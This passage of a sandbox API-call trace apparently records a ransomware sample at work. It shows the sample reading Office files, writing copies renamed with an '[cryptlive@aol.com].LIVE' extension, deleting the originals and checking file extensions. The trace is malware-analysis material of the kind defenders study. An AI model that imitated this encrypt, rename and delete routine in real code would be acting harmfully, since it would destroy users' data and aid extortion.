nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0139.577] SetEndOfFile (hFile=0x3b0) returned 1 [0139.577] CloseHandle (hObject=0x3b0) returned 1 [0139.577] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.577] SetEndOfFile (hFile=0x3b4) returned 1 [0139.642] CloseHandle (hObject=0x3b4) returned 1 [0139.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 1 [0139.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.660] lstrlenW (lpString=".doc") returned 4 [0139.660] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0139.660] lstrlenW (lpString=".docx") returned 5 [0139.660] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0139.660] lstrlenW (lpString=".pdf") returned 4 [0139.660] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0139.660] lstrlenW (lpString=".xls") returned 4 [0139.660] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0139.660] lstrlenW (lpString=".xlsx") returned 5 [0139.660] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0139.660] lstrlenW (lpString=".ppt") returned 4 [0139.660] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0139.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.660] lstrlenW (lpString=".zip") returned 4 [0139.660] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0139.660] lstrlenW (lpString=".rar") returned 4 [0139.660] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0139.660] lstrlenW (lpString=".bz2") returned 4 [0139.660] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0139.660] lstrlenW (lpString=".7z") returned 3 [0139.660] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0139.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.660] lstrlenW (lpString=".dbf") returned 4 [0139.660] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0139.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.660] lstrlenW (lpString=".1cd") returned 4 [0139.660] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0139.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.661] lstrlenW (lpString=".jpg") returned 4 [0139.661] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0139.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.661] lstrlenW (lpString=".doc") returned 4 [0139.661] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0139.661] lstrlenW (lpString=".docx") returned 5 [0139.661] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0139.661] lstrlenW (lpString=".pdf") returned 4 [0139.661] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0139.661] lstrlenW (lpString=".xls") returned 4 [0139.661] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0139.661] lstrlenW (lpString=".xlsx") returned 5 [0139.661] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0139.661] lstrlenW (lpString=".ppt") returned 4 [0139.661] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0139.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.661] lstrlenW (lpString=".zip") returned 4 [0139.661] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0139.661] lstrlenW (lpString=".rar") returned 4 [0139.661] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0139.661] lstrlenW (lpString=".bz2") returned 4 [0139.661] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0139.661] lstrlenW (lpString=".7z") returned 3 [0139.661] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0139.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.661] lstrlenW (lpString=".dbf") returned 4 [0139.661] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0139.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.661] lstrlenW (lpString=".1cd") returned 4 [0139.661] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0139.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0139.662] lstrlenW (lpString=".jpg") returned 4 [0139.662] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0139.662] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0139.662] lstrlenW (lpString="DOORSCHD.VRD") returned 12 [0139.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.690] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1723) returned 1 [0139.691] CloseHandle (hObject=0x390) returned 1 [0139.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 0x20 [0139.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.697] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.697] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0139.697] GetLastError () returned 0x0 [0139.697] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x6bb, lpOverlapped=0x0) returned 1 [0139.699] WriteFile (in: hFile=0x39c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0139.700] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.700] WriteFile (in: hFile=0x39c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.700] SetEndOfFile (hFile=0x39c) returned 1 [0139.700] CloseHandle (hObject=0x39c) returned 1 [0139.700] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.700] SetEndOfFile (hFile=0x3ac) returned 1 [0139.703] CloseHandle (hObject=0x3ac) returned 1 [0139.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 1 [0139.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.710] lstrlenW (lpString=".doc") returned 4 [0139.710] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0139.710] lstrlenW (lpString=".docx") returned 5 [0139.710] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0139.710] lstrlenW (lpString=".pdf") returned 4 [0139.710] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0139.710] lstrlenW (lpString=".xls") returned 4 [0139.710] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0139.710] lstrlenW (lpString=".xlsx") returned 5 [0139.710] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0139.710] lstrlenW (lpString=".ppt") returned 4 [0139.710] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0139.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.710] lstrlenW (lpString=".zip") returned 4 [0139.710] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0139.710] lstrlenW (lpString=".rar") returned 4 [0139.710] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0139.710] lstrlenW (lpString=".bz2") returned 4 [0139.710] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0139.710] lstrlenW (lpString=".7z") returned 3 [0139.710] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0139.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.710] lstrlenW (lpString=".dbf") returned 4 [0139.710] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0139.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString=".1cd") returned 4 [0139.711] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString=".jpg") returned 4 [0139.711] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString=".doc") returned 4 [0139.711] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString=".docx") returned 5 [0139.711] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0139.711] lstrlenW (lpString=".pdf") returned 4 [0139.711] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString=".xls") returned 4 [0139.711] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0139.711] lstrlenW (lpString=".xlsx") returned 5 [0139.711] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0139.711] lstrlenW (lpString=".ppt") returned 4 [0139.711] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString=".zip") returned 4 [0139.711] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0139.711] lstrlenW (lpString=".rar") returned 4 [0139.711] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString=".bz2") returned 4 [0139.711] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString=".7z") returned 3 [0139.711] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0139.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString=".dbf") returned 4 [0139.711] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString=".1cd") returned 4 [0139.711] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0139.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0139.711] lstrlenW (lpString=".jpg") returned 4 [0139.711] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0139.712] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0139.712] lstrlenW (lpString="DRILLDWN.VSL") returned 12 [0139.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.723] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=64872) returned 1 [0139.723] CloseHandle (hObject=0x390) returned 1 [0139.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 0x20 [0139.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.723] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.723] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0139.724] GetLastError () returned 0x0 [0139.724] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xfd68, lpOverlapped=0x0) returned 1 [0139.734] WriteFile (in: hFile=0x1f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfd70, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfd70, lpOverlapped=0x0) returned 1 [0139.736] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.736] WriteFile (in: hFile=0x1f8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.736] SetEndOfFile (hFile=0x1f8) returned 1 [0139.736] CloseHandle (hObject=0x1f8) returned 1 [0139.736] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.736] SetEndOfFile (hFile=0x390) returned 1 [0139.739] CloseHandle (hObject=0x390) returned 1 [0139.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 1 [0139.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.740] lstrlenW (lpString=".doc") returned 4 [0139.740] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString=".docx") returned 5 [0139.741] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0139.741] lstrlenW (lpString=".pdf") returned 4 [0139.741] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString=".xls") returned 4 [0139.741] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.741] lstrlenW (lpString=".xlsx") returned 5 [0139.741] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0139.741] lstrlenW (lpString=".ppt") returned 4 [0139.741] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.741] lstrlenW (lpString=".zip") returned 4 [0139.741] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.741] lstrlenW (lpString=".rar") returned 4 [0139.741] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString=".bz2") returned 4 [0139.741] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString=".7z") returned 3 [0139.741] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.741] lstrlenW (lpString=".dbf") returned 4 [0139.741] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.741] lstrlenW (lpString=".1cd") returned 4 [0139.741] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.741] lstrlenW (lpString=".jpg") returned 4 [0139.741] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.741] lstrlenW (lpString=".doc") returned 4 [0139.741] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.741] lstrlenW (lpString=".docx") returned 5 [0139.741] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0139.741] lstrlenW (lpString=".pdf") returned 4 [0139.741] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.742] lstrlenW (lpString=".xls") returned 4 [0139.742] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.742] lstrlenW (lpString=".xlsx") returned 5 [0139.742] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0139.742] lstrlenW (lpString=".ppt") returned 4 [0139.742] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.742] lstrlenW (lpString=".zip") returned 4 [0139.742] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.742] lstrlenW (lpString=".rar") returned 4 [0139.742] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.742] lstrlenW (lpString=".bz2") returned 4 [0139.742] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.742] lstrlenW (lpString=".7z") returned 3 [0139.742] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.742] lstrlenW (lpString=".dbf") returned 4 [0139.742] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.742] lstrlenW (lpString=".1cd") returned 4 [0139.742] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0139.742] lstrlenW (lpString=".jpg") returned 4 [0139.742] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.742] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0139.742] lstrlenW (lpString="DWGCNV.VSL") returned 10 [0139.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.746] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=38752) returned 1 [0139.746] CloseHandle (hObject=0x3ac) returned 1 [0139.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 0x20 [0139.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.747] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.747] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.756] GetLastError () returned 0x0 [0139.756] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x9760, lpOverlapped=0x0) returned 1 [0139.758] WriteFile (in: hFile=0x390, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x9770, lpOverlapped=0x0) returned 1 [0139.759] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.759] WriteFile (in: hFile=0x390, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0139.760] SetEndOfFile (hFile=0x390) returned 1 [0139.760] CloseHandle (hObject=0x390) returned 1 [0139.760] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.760] SetEndOfFile (hFile=0x3ac) returned 1 [0139.763] CloseHandle (hObject=0x3ac) returned 1 [0139.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 1 [0139.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0139.764] lstrlenW (lpString=".doc") returned 4 [0139.764] 